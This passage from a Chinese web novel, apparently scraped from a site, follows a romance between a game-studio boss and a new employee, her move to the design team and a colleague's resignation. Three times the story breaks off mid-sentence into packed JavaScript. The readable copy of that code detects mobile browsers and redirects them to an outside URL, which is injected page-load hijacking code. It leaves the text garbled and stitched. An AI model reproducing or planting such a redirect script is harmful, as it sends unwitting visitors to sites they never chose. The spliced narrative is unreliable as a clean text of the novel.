“已经有人离职了啊。”田妙妙特别灰心,“《诡秘降临》的PV才爆出来三天,就这么没信心吗?” “人各有志。”池修白说:“强求不得。” “那……不是更应该留下陈驰之?” “我给你看这个,是告诉你,员工离职是很稀松平常的事,不用觉得天塌了。” “可是陈驰之不一样啊,他很有才干,而且他还很仰慕你。”田妙妙小声说着有些卑鄙的话:“要是没有这件事,他应该忠心耿耿地给问天卖命的,别说主动离职,怕是赶都赶不走。” “他能力的确不错,做事也踏实,离开多少会有些遗憾。”池修白又道:“但也只是遗憾,你明白吗?在他和你之前,只能选其一的话,我会留你。” 田妙妙呼吸瞬间被剥夺,好似中了某种神经毒素,心脏也宛如包裹上一层塑料薄膜,疯狂地跳动着挣扎束缚。 他说,我会留你。 在和最具潜力的下属的角斗中,她赢下了。靠着他的偏爱。 欣喜与难过的情绪化作两股剪不断理还乱的麻绳,将她不停地缠绕,勒紧。 鼻腔发酸,眼前越来越模糊。池修白俯身,吻去她溢出来的泪珠,露出无奈的表情:“哭什么?” “我……”一开口便是哽咽:“我就是感觉自己好没用,帮不上你什么。如果我也能有陈驰之那样的能力,就不在乎他会不会离开了。” “能力高低除了取决于个人天赋,也离不开后天环境的历练。” 听到这么一句十分正确且富含哲理的话,田妙妙茫然又信服地点头。 池修白抽了一张纸巾,递给她:“把眼泪擦了,我再告诉你个好消息。” 田妙妙不明所以,不过为了好奇心,还是照做了。 等她擦完泪,池修白继续说:“刚才给你看的离职那人,是策划组的,我打算让你提前结束试用期,直接去接他的班。从明天开始,你去配合他做离职交接。” 田妙妙轻轻“啊”了声,“会不会有点太快了,我的游戏报告还差好多篇呢。” 她对自己提前结束试用期已经有心理准备,可没想到明天就要被调去策划组,和离职员工进行工作交接了。 很意外,比起兴奋,更多的是不知所措。 “你在质疑我的用人安排?”池修白调笑起来:“不用瞻前顾后,去那边跟着学就行了。调你去策划组的事我跟宋雅容说过了,她明天应该会找你谈。” “嗯,我会好好努力的。”田妙妙飞快在他面颊上亲了一口,“谢谢你,我知道这里面有你的私心,我不会辜负你的。” 池修白嘴角弯了弯:“主要还是你运气好。面试的时候阴差阳错找上我,现在呢,又正好有人提离职,需要人补位。” “可能是遇见你之后我转运了吧。”田妙妙抱着他的脖子,嘴甜道:“怪不得我之前过那么惨,老天爷是把我的运气全部积攒下来,留着和你相遇了。” “所以,你要牢牢抓住我,不许背叛我。” 田妙妙重重点头,他说这种话,强势之余,也暴露出自己的脆弱,他内心是渴求一个全身心站在他这边的人。 和平等、自由、各取所需完全相悖的人。而是彼此灵魂紧密相连,犹如树干和藤蔓那般饲养与共生。 又或者,一个永不背叛的信徒。 46. 第 46 章 等田妙妙心情好转后,池修白继续工作,田妙妙赖在他怀里,看着他敲代码。 一段又一段的代码流畅地输入,她完全看不懂是什么意思,跟一长串神秘咒语似的。 她的目光从电脑屏幕慢慢下移,最终定格在他的手上。 那双手修长白皙,关节处透着淡粉色,连甲床都很漂亮,手指抬起和落下之间,手背上的骨骼和血管会微微凸起来。 田妙妙伸手,摸上他的手背,微凉,触感很滑腻。 她跟个变.态似的,在他手背上打着圈摸,像摸一块上等的羊脂玉。 她脑海中浮现起,这些美丽灵活的手指,触碰她身体上每一寸肌肤的感觉。这双手简直沾染着魔法,凡是被触碰到的地方,无一处不酥麻难耐。 池修白似乎看穿了她的淫思,唤她:“小痴女。” 田妙妙脸腾地一下红起来,也不知道是不是因为经期的缘故,她的确欲念高涨,她原本以为自己是性冷淡,现在看来,纯属是她多想。 对上池修白这种绝顶骨相和皮相的男人,是个女人都会欲念横生、想入非非。 “这样是不是很不好?”她的手还没有移开:“打扰到你工作了?” “别仗着大姨妈在,就这么勾我。”池修白在她耳边轻咬:“你知道的,即便不用那里,你的身体上也有很多部位可以泄火的。” 田妙妙的脸更红了,她并不是个一无所知的少女,他说的她当然明白,只是没在自己身上幻想过。 “好了,我不动了,你继续工作吧。虽然看不懂,但是光听你敲键盘,就觉得好催眠,好想睡觉。” “在我怀里睡吧。” “你这样一直抱着我不累吗?” “你才几斤几两,风一大就能被掀翻的小草。” 没等田妙妙合上眼,房间内的通讯电话响起来,是送餐的服务生打来的。 田妙妙从他怀里跳下去,开门取餐。 “要不要休息一会儿,先来吃饭吧。”田妙妙把餐盒摆好、打开,叫池修白过来吃饭。 池修白走了过来。 田妙妙戴上一次性手套,垂着眼剥小龙虾。 “好烫。”她刚捏上小龙虾,就被烫了一下,改用筷子把小龙虾夹出来,放在餐盖上晾凉。 脸盆大小的圆形餐盖上,小龙虾像太阳花一样,摆了一圈又一圈。 池修白安静斯文地吃着三文鱼沙拉。 田妙妙偷偷打量他,肚子好饿,好想尝一下。 池修白就跟会读心术似的,把面前的餐盒推过去,“尝尝,新鲜度还可以。” “好啊。”田妙妙迫不及待地用手捏了一块三文鱼,沾上酱油和芥末,送入口中。 结果,芥末一不小心沾多了,辛辣刺激感直冲脑门,眼泪瞬间被逼出来。 她因不想浪费食物,死命地咀嚼着,越嚼脸越红,泪越多。 池修白手伸到她嘴边,口吻强硬:“吐出来。” 田妙妙不再勉强,从善如流地吐到他手里。 那坨被咀嚼过的三文鱼,混杂着黏腻的口水,恶心巴拉的躺在他手心。 田妙妙羞耻得耳尖快要滴血,她好像玷污了池修白的美手。 甚至她还有点受宠若惊。 池修白这种一看就洁癖得要死的人,居然会伸手接她吐出来的垃圾。 好可怕,他好爱我。 池修白去洗手的时候,并不知道田妙妙已经被感动得稀里哗啦,发誓要加倍对他好了。 他回来后,没吃几口,就觉得饱了,便开始剥虾。 田妙妙以为他想吃虾,忙帮他剥,她做这事比池修白熟练很多,所以,当池修白才剥到一半时,田妙妙就举着剥好的虾肉,凑到他嘴边。 “你尝尝,大厨手艺很棒,很好吃的。” 池修白张嘴衔住,蒜蓉的香味充斥着口腔,小龙虾肉质紧嫩。 对上田妙妙满怀期待的眼神,池修白点点头,给了个认可的好评。 田妙妙顿时笑起来,全然一副和大厨与有荣焉的模样。 他咽下后,才说:“我剥虾是给你的,不是我想吃。” “不用,我剥给你吃。” 田妙妙捏起一只小龙虾,利落地拧掉虾头,然后在虾尾处轻轻一扭,整条虾肉就完好无损地脱离虾壳。 她又喂到他嘴边:“你这种十指不沾阳春水的大少爷,不就是让人伺候的命吗?” 池修白笑了下,顺从地吃下她递过来的虾肉。 “你这是想当我的小保姆吗?” 田妙妙摇头:“我就是想对你好嘛,我又没你有钱,也没法在事业上帮助你,就只能在这种事情上照顾照顾你啦。 我并不觉得这样做是自轻自贱,要是你在心里嘲笑我,那我就再也不做了。尽管大家的身份地位不平等,可基本的人格尊严是平等的。” “抱歉,我没把你当保姆看待。”他神色认真。 “我知道。”毕竟没人会伸手接保姆吐出来的咀嚼物。 最后,两人就这样你剥给我,我剥给你,分食完一大份蒜蓉小龙虾。 吃完后,田妙妙把桌子上的厨余垃圾全部收拾掉,池修白关了电脑,问她要不要出去走走。 田妙妙摇头,“外面肯定很多同事,被发现了怎么办?” “发现就承认。”池修白说得轻松自然。 田妙妙还是反对:“不想出去,要不一块打游戏吧。前段时间太忙了,我已经好久没和你组队打游戏了。” 池修白:“好。” 事实证明,人一旦碰游戏,时间就跟按了加速键似的,等田妙妙累了想喝口水时,才惊觉,一转眼快十二点了。 两人退出游戏,相拥而眠。 田妙妙在入梦前,嘴角都是轻微上扬的,她觉得好幸福,自从母亲离世后,她已经很少能感受到幸福了。而现在,她是发自内心地觉得幸福,原来爱情有时也能比肩亲情。 “好喜欢你。”她梦呓般轻声说了句。 池修白听到后,闭着眼,低头在她唇上啄了下,“晚安。” * 翌日,田妙妙醒来,身旁空荡荡,只剩残余的温度。 她惶恐,池修白哪去了? 忙打语音找他。 语音通话拨出去几秒后就被接起。 “你去哪了?”语气是浓浓的委屈和不安,好像被主人抛弃的小狗。 “刚出去晨跑一圈,醒了的话过来吃早餐,我正要去餐厅。” “哦,好的,我差点以为你先走了。”田妙妙吸了吸鼻子,声音闷闷的。 池修白笑了下:“我是那种人吗?这么没安全感?” “嗯。”田妙妙心想,池修白当然不是一个能带来安全感的人,他带来的更多是想炫耀、有面子,以及患得患失的感觉。 挂了电话后,池修白身旁的江弘深,一脸震惊,“卧槽,你房间里有人?” 池修白嘴角微扬,嗯了声。 “听声音应该就是田妙妙了,你终于得手了,不容易啊。”江弘深拍了拍池修白的肩,感慨。。 池修白:“她这人胆小害羞,等会吃饭的时候,你就当不知道这事。” “我真服了,你什么时候谈过这么小心翼翼的恋爱了。” 池修白斜他一眼:“用不着你管,你还是多操心操心自己吧,宋雅容之前可是请了一天假去相亲,你再磨蹭别到时候接到喜帖了。” 江弘深顿时跟踩了尾巴的猫似的,磕磕巴巴:“你、你怎么看出来的?我、我有这么明显吗?” “呵,明显得和中学生早恋没差。” 江弘深一脸吃瘪的表情,长长地“嘶”了声,“完犊子了,既然你都看出来了,她肯定也看出来了,她还选择去相亲,我是不是一点机会都没了?” “大家都是成年人,没人喜欢中学生暗恋那套,尤其是女人的年龄很宝贵,没时间跟你玩过家家。”池修白提点他说:“别空等了,告白的时机不是等出来的,而是自己创造出来的。” 江弘深痛心疾首地摇头:“我去,你之前不是还说自己不急,要慢慢来,现在得手后立马换了一副说辞,敢情玩我是吧?” “你有什么好玩的?”池修白无情嘲讽道。 “算了,我要跟老裴诉苦去,同为单身狗,他才能理解我。”江弘深说完,一个通话拨过去。 铃声响了七八声,他差点等不及要挂了,裴文山才接起来。 一接通,听着就明显不对味,裴文山呼吸极其粗重,像压抑着什么。 江弘深:“醒了没?出来吃早餐。” 裴文山这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江弘深继续说:“出院那天你一个人忙不过来,我过去帮你吧。” 宋雅容刚想开口,被江弘深抢先道:“行了,就这样说定了,你别一开口就拒绝,再怎么说,咱俩也是好几年的同事,这点小事还是得帮的。” “那好吧,谢谢了。”宋雅容点头应下,她母亲早年离世,身边也没什么人帮衬,之前办住院还是找了个远房亲戚陪同的,现在江弘深提出愿意帮忙,她也就不过多推辞。 田妙妙进入餐厅,左顾右盼寻找池修白的身影。 池修白先看见了她,招招手,让她过来。 田妙妙看见他后,脚步停住。她以为就池修白一人,没想到他对面还坐着两个组长。 其中一个还是她之后的新组长,宋雅容。 田妙妙纠结再三,只得硬着头皮走过去,冲着他们挨个打招呼:“老板好,江组长好,宋组长好。 “餐点在后面自取。”池修白抬手示意了下。 田妙妙点头,快步溜走。 “这姑娘怎么看见我们就想躲,像个受惊吓的小兔子。”江弘深笑道。 宋雅容是个心思玲珑的聪明人,她看到刚才池修白抬手示意,又想到他昨天跟她说,要把田妙妙调去策划组,此刻心里头跟明镜似的,什么都明白过来了。 但她没说什么。 老板的决定,也不是她能评价的。虽然她是策划组组长,但在决定游戏设计的关键决策上,她必须要听从池修白的意见,毕竟他才是游戏制作人。 现在他想把自己的小女友安排在她手下,自己只能照收,若是田妙妙实在表现糟糕,她再向池修白汇报吧。 田妙妙拿完想吃的餐点,端着盘子走过去,挨着池修白落座。 盘子上放了不少奶黄包、蛋挞、提拉米苏、芝士饼之类的甜食,正儿八经的早餐倒是没有。 “早上就吃这些?”池修白啧声,语气轻微不满。 田妙妙不好意思地笑了下:“嗯,突然馋甜食了。” 池修白剥了个鸡蛋放到她餐盘上,轻抬下巴吩咐:“把鸡蛋吃了。” 田妙妙做贼心虚,手里的筷子差点掉下来。 他怎么能当着两个组长的面给她剥鸡蛋呢,这不完全暴露出两人关系很不一般嘛? 田妙妙悄咪咪地朝两个组长看过去,见他们两人一点异样的表情都没有,这才放心下来,很听话地把鸡蛋吃掉。 在座所有人都知道田妙妙和池修白有一腿,唯有她这个当事人还不清不楚,以为自己在演谍战片。 47. 第 47 章 宋雅容吃完后,看着田妙妙,突然问道:“老板要把你调来策划组,你怎么想的?” 田妙妙正在吃奶黄包,险些一口噎住,池修白拍她的后背,帮她顺顺气。 宋雅容给她倒了杯温水:“抱歉。” 田妙妙平复好后,摇摇头,回答:“我没事。我想去策划组,希望宋组长能要我。” “哦?你对策划工作很感兴趣?”宋雅容有点意外,她以为这是池修白单方面的安排,没想到田妙妙居然表示很想来。 田妙妙郑重点头,眼里满是憧憬:“我想试试,我觉得会很有趣。” “好,如果这是发自内心想做的事,我没意见。”宋雅容目光温和,轻轻颔首。 田妙妙很欣喜:“谢谢组长,我会努力的。” 宋组长居然一点也没为难她,甚至还很友善。她之前有听过宋雅容和姜星关系很好的传闻,还以为宋组长会因为姜星离职的缘故,很不欢迎她呢。 结束用餐,田妙妙跟着池修白回到房间,收拾东西返程。 之前跟着大巴车来的员工,昨晚已经统一随车离去了,现在只剩余自己开车来的。 走前,田妙妙没有忘记联系顾念瑶。 顾念瑶声音有气无力,气息软绵绵的,带着点餍足:“妙妙,你先回去吧,我下午再走,我们周一上班见,到时候告诉你个秘密,嘿嘿。” 顾念瑶抿着笑,向田妙妙卖了个关子。 田妙妙微皱了下眉,用手捂着下半张脸,靠近手机屏幕小声问道:“你该不会和裴组长在一起了吧?” “啊啊啊啊……”电话那头传来顾念瑶的嚎叫:“你猜得好准啊!真是什么都瞒不过你,我昨晚就在他这边,妙妙你别怪我好不好?我发誓我真的没有重色轻友!” 田妙妙不禁莞尔。 其实她昨晚也不在自己的房间,只是目前和池修白的关系还不太稳固,她决定暂时隐瞒,等时机成熟后再告诉顾念瑶。 这么一想,田妙妙更心虚了,有种背叛好友的错觉。 “那好,我先蹭老板的车回去了,你好好休息。” 挂完电话,池修白不知何时站在她身后,抱着手臂,垂眼看她,悠哉地来了句:“原来是她啊。” 田妙妙心里咯噔一下,装傻充愣:“什么意思,我不懂你在说什么?” “装吧你就。”池修白嗤笑:“早上裴文山接电话,话筒里面传出女人的声音。” “呃……”田妙妙只得投降,这可算不上她出卖好友:“我也只是刚刚才知道这件事。” 田妙妙不放心地问道:“那个,你之前说工作室不能谈恋爱的规定,还作不作数呀?要不……你就当不知道这事吧?” “我都在你在一起了,还问那个傻X规定有意义吗?”池修白在她头顶揉了一把:“是不是傻?” ……傻X规定。 这人是在骂自己吗? 偏偏她还不能笑…… “都怪我太老实了,还是学生思维,以为你之前说的规定很重要,会影响员工绩效考核呢。”田妙妙小声说:“哪知道这就是你的一言堂。” “公司管理的确依赖完善的规章制度,只不过问天现在规模不大,还比较自由。”他当时说禁止办公室恋情,单纯是不想看见她和陈驰之不清不楚地搞暧昧罢了。 “哦,反正解释权在你。”田妙妙撅嘴。 池修白觉得这个表情又傻又可爱,忍不住上前掐了一把她的脸。 田妙妙小声痛呼,又被他咬住嘴,吞吃掉闷哼声。 等瞎闹玩一通后,两人离开房间。 出门前,田妙妙提着收拾好的背包,正要背上,被池修白利落拎过去了。 田妙妙心头一暖。 这就是有男朋友的感受吗?怪不得大学舍友总接连不断地脱单呢。 池修白这种超级大帅哥主动帮她背包,田妙妙走路都要飘飘然了。 回程路上。 池修白无声地开车,田妙妙则一会儿看手机,一会儿偷看池修白。全程心不在焉。 下山的路开得很稳当,看着郁郁葱葱的山林,田妙妙竟产生一丝不舍。她会铭记这次的温泉山庄团建活动,上山时和下山时,很多关系发生重大变化。 田妙妙百无聊赖地开口:“接下来两天周末,你要去工作室吗?” 新游刚线下测试完,收集了不少玩家反馈,想必他要忙着回去处理。 “嗯,自从成立工作室以来,我很少有周末休息这个概念。” 池修白握住田妙妙的手,观察她的表情,见她情绪轻微低落,把她手放在嘴边亲了一下:“近两年,可能陪你的时间不多。” “没事啊,反正我接下来的重心也在工作上嘛,我们又不是校园恋爱,哪有那么多空闲时间。” 田妙妙努力笑笑,这话既是说给他听,也是在安慰自己。 池修白沉吟片刻,说:“其实吧,我并不在乎另一半事业发展得怎么样,所以你也不必特别拼命。” 这是他的真实想法,他确实不在乎田妙妙将来能否成为独当一面的主策。 “我是为了自己以后的发展,不是作为谁谁谁的另一半。”田妙妙满怀期待地说:“其实我这些天接触了不少游戏,也看了一些关于游戏设计理论的讲解视频,我觉得把自己的想法通过游戏的形式表现出来,是件很有意思、也很酷的事,相当于构建出一个丰富多彩的乌托邦世界。” “如果是乌托邦的话,你这游戏估计很难盈利。” “为什么?” “太美好太安逸的东西,很难让人产生欲望,没有欲望就没有消费。” “难道盈利就只能靠卖肉吗?” “欲望当然不仅仅是性.欲,诚然性.欲能极大程度地驱动消费,但早在一轮轮净网行动下就被剿灭得差不多了,现在顶多擦擦边、卖卖情感需求吧。” 池修白继续说:“只要让人有明显的情绪波动,不要像个活死人一样,都叫欲望。只不过最常用的,基本是黄.赌.毒、暴力这类负面的欲望驱动,比如擦边卖肉,抽卡的不确定性,以及类似毒.品那种源源不断的刺激性和成瘾性。” 虽然知道他说的是行业现状,田妙妙仍有些失望:“就不能用美好的事物来做欲望驱动吗?” 田妙妙心中有个愿景:“我希望将来我构筑出来的游戏世界是给人带来幸福的,让人能忘却现实的压力和烦恼,在现实生活中受到委屈和伤害后,可以躲进游戏世界里疗愈。” 池修白微微点头:“你倒是提醒我了,不愿看到乌托邦毁灭,不愿美好的事物离去,也是一种欲望。” 田妙妙心头一怔,这种欲望完全契合她当前的心境。 和池修白在一起这件事,就是她的“乌托邦”,是一场遍布粉红泡泡的幻梦。 一想到不论多美好的梦境都会有醒来的那天,她的内心就泛起一阵酸涩感。 真是应了那句诗,彩云易散琉璃脆。 为了维持梦境的延续,她不得已化身欲望的俘虏,受欲望的驱使,很想去做些什么。 “怎么了?”池修白的目光瞥向车厢内的后视镜,镜中映照出田妙妙的愁容:“突然变得这么苦大仇深。我希望你和在一起的时间是轻松的,开心的。” “就是联想到了别的事情。”田妙妙说。 池修白挑眉:“说。”简短干脆,不容置喙。 田妙妙叹息:“就是担心我们的关系无法长久,或许就像虚拟现实那样,一切都是假的。” “你也太能伤春悲秋了。”池修白无奈地摇头:“还虚拟现实,当前就是现实,现实得不能再现实了。不信你自己扇自己一巴掌。” 田妙妙果然“啪”地扇了一下手臂:“好吧,是有点疼。” “是不是受经期激素的影响,你开始想太多了。” “或许吧。”田妙妙叹了口气:“毕竟我们差距太大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“好啊。”池修白突然开口,替她答应了。 陈语:“好,就这么说定了,你都好久没回家了。” 等陈语挂断电话后,田妙妙一脸霜打茄子的蔫样,她仿佛遇到了天大的难题。 “怎么直接答应了?”田妙妙苦着一张脸。 池修白笑道:“本来不想去的,但想着把你带回去给他们见见,倒也不赖。” “自己不想回,拉上我你就想回了,你这不是把烦恼转移给我了?” “嗯哼,你不乐意?” “我有的选吗?”田妙妙唉声叹气:“没想到你和你爸爸的关系这么差。” “谁让我是不孝子呢。”池修白:“没走上让他满意的道路。” “这么多年,也该释怀了吧?”田妙妙对此有些不解,池修白再怎么说,也是成功人士,又不是不学无术的败家子,他爸至于到现在还不接受吗? “他在乎的是,他的权威不能受到挑战。”池修白无所谓地说:“而我,最烦有人压制我。我不稀罕他的钱,也不想听他的话。” “虽然他们不支持你,不理解你,但我会支持你的。”田妙妙坚定地望着他:“其实我挺怕见陌生人,也很怕和别人交流,但我愿意陪你回去,只要这样能让你心情好一点。” 池修白呼吸一窒。 他产生一种难以言说的怪异感觉,这是他在之前任何一次感情中都不曾体验过的。 他曾经只把恋爱当作放松和消遣,像参加一种另类的解压活动,从没想过从中获得力量和安定感——这些在他想象中,是家人才能提供的感觉。 他不曾从父母那里得到过。 此刻,却从田妙妙身上感受到安心。 “好,他们刁难我的话,你记得要保护我。” 田妙妙点头,像位加冕勋章的荣誉战士:“嗯,我会的。” 48. 第 48 章 车已驶离山路,回归城区。 田妙妙问:“你爸爸喜欢什么?我不知道要准备什么礼物诶。” “不用准备,他喜欢的,你手头的钱也买不了。”池修白他爸近几年附庸风雅,爱收集古玩字画。 “那总不能空手去你家吧。”田妙妙这点道理还是懂的,思考片刻后说:“要不就送茶叶?” 茶叶应该是万能的送长辈礼物。 “都行。”池修白随口应道:“正好我那还存放着没开封的茶饼,到时候你带给他。” “在你另一个常住的房子吗?”她目前借住的地方,并没有看到过茶叶相关,倒是存放了不少酒。 “嗯。”池修白突然想到什么,说:“那边好像没带你去过,今天就过去一趟吧。” “好啊。”田妙妙挺好奇他另一个房子长什么样:“你当前是不是就两处房产?” “以前买的多,后来房地产不景气,就只留下两套,其他的都套现了。” “亏钱了?”田妙妙眨眨眼睛,调侃地问。 “那倒没有,我脱手得比较早,还赚了一波。”池修白唇角勾起,散漫的坏坏笑意:“你对我的资产情况很感兴趣?” “没有,没有。”田妙妙忙否认:“我就是随便问问罢了。刚才是不是冒犯到你了?” “就是开个玩笑,瞧你吓得。”池修白眼眸微弯,笑着说:“好奇另一半的资产情况,难道不是人之常情吗,你怕什么?再说,这也是我的优势,巴不得你来问。” 田妙妙诚实地说:“当然是害怕你觉得我心思不纯,是个不怀好意的拜金女。” 而且,她这么穷,本来就对金钱这一块格外敏感,很容易想多。 “拜金又不是什么罪过。”池修白说:“人生在世,总是要追求什么,不是财富地位,就是其他的价值体现。我二十岁的时候,几乎把赚钱当成最重要的目标,因为只有赚到足够多的钱,才能反抗父母的安排。” “现在呢?” “现在赚钱也很重要,毕竟需要给你们发工资,只是我的个人所得,没有当年那么重要了。” 池修白说的话,听起来既诚恳坦率,又透着淡淡的凡尔赛。 田妙妙:“你要是这么说的话,我更害怕新作市场表现不佳了。” “不用操心。”池修白没有隐瞒,跟她透露了另一款游戏的吸金状况:“《逐鹿天下》海外版上线后营收超过预期,哪怕《无限异变》真拉胯了,也不至于影响到问天的存续。” 田妙妙发自内心的高兴:“哇,那真不错哦,据我观察,《逐鹿天下》在网上的热度好像一直不怎么样,没想要赚钱能力这么强。” “嗯,这款游戏的受众,基本上不爱在网上发言。” “当时你为什么想到要做《逐鹿天下》呢,感觉这种游戏和你的风格不搭。” 田妙妙越了解,就越好奇,她很难想象池修白会做这种略显过时的游戏。 她总觉得,这类游戏的制作团队,应该是中年人才对。 或者是老实巴交、默默无闻的一群人。 “丰富公司游戏类型的多样性吧,正好SLG类型的游戏我之前没尝试过,且这种类型有很多成功的商业安利。” 池修白继续说:“其实那段时间,我陷入了创新的瓶颈里,想不出让我满意的玩法,就干脆做这种老玩法的游戏,加点微创新试试水。总不能把自己困在屋子里什么都不做吧?” “我还以为你只做最有试验性和挑战性的游戏。” 毕竟他一直被冠以天才制作人的名号,就注定应该创作代表着市场风向标的游戏。 “是个人都是要吃饭的。我当时是光希的合伙人之一,总要对公司的营收负责,哪怕没灵感没思路,也要尝试推新作。 当时《逐鹿天下》刚推出来后,市场反响一般,所以后续和光希闹崩时,我才能顺利把这个游戏带出来。 等成立问天工作室后,我手头没别的新游,只能继续打磨《逐鹿天下》,前后历经两次大版本的迭代升级,游戏才算起死回生,后续就一路走高了。” 实力和好运的双双加持下,《逐鹿天下》保障了问天工作室的资金来源,让他能招兵买马立项新游。 或许,好运通常更眷恋实力强劲的人,或是勤奋努力的人。 恰好,实力和努力,这两种珍贵的品质,池修白全都具备。 所以,他能从低谷重新站起来,是再正常不过的事。 “你有没有想过,有一天完全不在乎市场反响,只做自己想做的游戏。” “其实,我目前做的游戏,不管刚开始时,是抱着什么目的,做到最后多多少少都是我想做的,如果完全抵触的话,也是做不出来的。” 池修白并不像田妙妙这种刚入行的新人,对做游戏一事,怀揣着崇高的理想。他做游戏的宗旨很简单,好玩就行,他基本不会借助游戏,进行自我表达,或是情感宣泄。 “哦哦,你说的也是,一边做自己喜欢的游戏,一边大赚特赚,真是想想就好爽啊。”田妙妙无比艳羡地感慨:“你的人生我的梦啊。” “你现在不是已经参与进我的人生了吗?”池修白笑笑:“什么感想,梦想照进现实?” “除非让我魂穿你,这样才算梦想成真。”田妙妙看向车窗外,说:“现在属于发现梦想、靠近梦想、追逐梦想。” “别担心,我会助你实现梦想的。”他说。 这句话带着举重若轻的力量,猝不及防地撞击她的心扉,顿时心房被撞得四分五裂。 田妙妙心头砰砰砰地直跳,不可置信地看向他。 明明很温和的一句话,听起来却比任何表白的话都让人沉醉,乃至于想落泪。 平台、资源、人脉,所有新人求而不得的东西,他都可以拱手奉上,只为她体会一把梦想中的生活。 “你再这样,我恐怕真的要爱上你了。”田妙妙在心里默默地说,话到嗓子眼又被她咽了回去。 “好啊,我很期待哦。”田妙妙用开玩笑地口吻回复:“可别光画大饼,最后吃不上啊。” “我是那种人吗?”池修白哼笑,傲气凌人:“我可不爱给任何人画饼。” 也是,如果他愿意给姜星画个婚姻的饼,恐怕他们现在还恩恩爱爱地在一起吧。 * 池修白驱车驶入地下车库。 车库亮如白昼,一路都是自动亮起的迎宾灯,处处充斥着智能科技感,和田妙妙刻板印象中的,黑漆漆的车库完全不一样。果然,有钱人的世界没有黑暗,越是发达的城市,越是灯火璀璨。 田妙妙随着池修白进了电梯,刷卡后电梯直线上升,一直等了挺长时间,才停到相应的楼层。 江景超豪华大平层,占据着寸土寸金的地理位置,奢华得让人心惊胆颤。 她踏入房间的那一刻,仿佛来到了未来世界,整套房子都装备着当前最尖端的全屋智能,和她目前居住的另一处豪宅相比,这里的科技感和便利性更足,同样也更显压抑。 处处都是冰冷的黑白灰或是金属感很重的银色,看不到多少色彩和暖意。这里看起来不像家,更像是给仿真机器人充电的智能舱位。 总之,她会感慨这里的昂贵和高端,却很难产生长住的念头。 池修白让她随便坐。他去贮藏室拿茶饼,顺便收拾点其他东西带去她那边。 田妙妙规矩地坐在客厅沙发上,没有乱动。 池修白收拾妥当后,拎着东西过来了。 他把包装高档的茶饼递给田妙妙:“喏,明天你就提这个去吧,正好我还没拆。” 田妙妙接过,低头道谢。 池修白观察她的神情举止,见她过于拘谨,便说:“你看起来不喜欢这里。” “没有,这里很……酷。”田妙妙惶恐地说:“太高级了,我从来没住过。” “你还记得你刚来S市住的地方吗?”池修白回忆了下,他当时去接她的时候,也是头一次踏足那片废旧的城中村地带,残破腐烂的房子,让他眉头紧锁,很难想象田妙妙怎么住得下去。 田妙妙点头:“当然记得。我找了好久,才找到的,最便宜的房子。” “是不是有种恍如隔世的感觉?” “嗯,还好吧,但如果让我回到那个地方,我也能很快适应。” “不,你不会回到那里。”池修白斩钉截铁地说:“如果你想回到那里,你就不会递给我那封信。” 田妙妙无措地掐了下指尖:“我的意思是说,如果你以后不愿意再管我了,我也能适应以前的生活。” 池修白心想,这只是因为时间还不够久,等到她真正适应了富裕的生活,便不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250010|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能再回到从前。 由俭入奢易、由奢入俭难,这是亘古不变的真理。 他想让田妙妙长久地待在自己身边,必然要让她体验更高规格的生活,渐渐地,她就会被高消费同化,哪怕离开他,也会先掂量掂量,愿不愿意放弃当前的生活。 “我怎么会不管你呢。”池修白抬手摸摸她的头,用哄孩子的口吻说:“我得报一辈子的恩,不然良心难安啊。” “你真能瞎扯。”田妙妙撇撇嘴,不以为然。 “只要你乖乖的。”池修白勾起她的下巴,在她的唇上印下一吻,“我们的关系就会一直保持下去。” 乖乖的……听起来好像养宠物。 田妙妙有点摸不准池修白到底什么喜好了。 他上一任女朋友姜星,明明是个不折不扣的的事业女啊。 怎么到她这里,就变成乖乖的就可以,完全不在乎她在工作上能有什么成就。 嗯哼,区别对待,肯定是看她年轻,好欺负。 “如果我不想乖乖的呢?”田妙妙眸光微闪,想到她那死人爹,想到自己是怎么从农村逃离的,她远不是表象上的纯良,在安静的皮囊下,隐藏着见不得光的疯狂。 “或许我根本就不是你想象中乖乖的性格。” “我也没当你是纯善乖乖女,但你确实也坏不到哪去。”池修说。 田妙妙“哦”了声,她在心里默念道,池修白只是不喜欢父亲,她呢,不仅不喜欢,还由衷地希望田建军死掉,发烂发臭。 “回去吧。”池修白提议道:“看你也不太喜欢这,我先送你回去,之后再回工作室。” 田妙妙跟着池修白回到车库,车子发动后,她感慨:“唉,你要回工作室,家里就剩我一个人,好无聊哦。” 池修白手指点点方向盘,“无聊是吧?学车去。三个月后拿到驾照,来找我选车。” 田妙妙立马来了精神:“好,一言为定!” * 池修白送完田妙妙后,去了问天工作室。 今日本该空无一人,却没想到有人早早出现在工作室等他。 是陈驰之。 池修白见到他时并不意外。打开办公室门,池修白和他说了句:“进来吧。” 陈驰之较平日略显寡言,无声地随池修白步入办公室。 池修白坐下后,目光从陈驰之的身上扫荡过去,在他手中的纸张上停顿了下:“想好了?” 陈驰之点头,声音沙哑得不成样子:“嗯,想了一晚上,还是离开比较好。” 他把签过名的离职申请书放在办公桌上。 “既然你想通了,我也不留你了。有找好新公司吗?”池修白关心道:“你的能力没话说,不介意的话,我可以帮你推荐。” 陈驰之摇头:“有想去的公司,和那边也聊得差不多了,让我尽快到岗。” 池修白扬眉:“这么速度?应当不是昨天才开始接触吧。” 陈驰之没有隐瞒:“嗯,前几天《诡秘降临》发布pv后,就有猎头联系过我,那时候我拒绝了。” 